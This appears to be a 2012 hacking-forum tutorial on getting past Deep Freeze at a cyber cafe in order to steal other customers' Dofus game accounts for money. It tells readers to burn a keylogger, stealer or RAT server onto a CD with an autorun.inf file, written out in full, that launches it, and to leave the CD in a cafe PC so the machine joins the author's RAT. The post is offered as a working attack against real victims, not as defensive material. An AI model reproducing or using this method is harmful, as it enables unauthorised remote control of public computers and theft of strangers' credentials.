Thread: [Fitst Working Tutorial To Bypass Deep Freeze In Public Pc Or Cyber Cafe](#)

IRClover - February 26, 2012, 5:02 am

Hi

This is my first tutorial here , i hope u like it , if not please do not flame on me :)

sometimes we need get accounts for someone who go every time to a cyber cafe , or a cyber cafe who every one there play a game witch we need accounts for this game on those accounts = lot of money

and that's what is happened with me , a cyber cafe near my house every one there play dofus , and i need those accounts and there is no way to hack them because the public cyber cafe has deep freeze on it , so i decided to find a way to bypass that deep freeze

if we think about it , deep freeze freeze each and every hard disk so any server u open there or a key-logger or a stealer , every thing going to be deleted after a restart , so i decide to find a memory that's cant be deleted or no change can happen on it ,

so the steps are very simple , just follow them :) :

1 - get a empty cd wich it word nothing , then make a autorun file , for exemple your server or keylogger or stealer called "myprogram"

u going to make a new bloc note file then write this code on it

```
[autorun]
open=myprogram.exe
```

and save it as autorun.inf

and that's it , put your server with the autorun file on the cd , burn them and get your cd , the go to the cyber cafe put the cd there , go back to your home , then u find a new slave on your rat , and that's is the pc that u always looking for

i hope u enjoy the tutorial , if u have any question pm me , and im sorry for my bad English
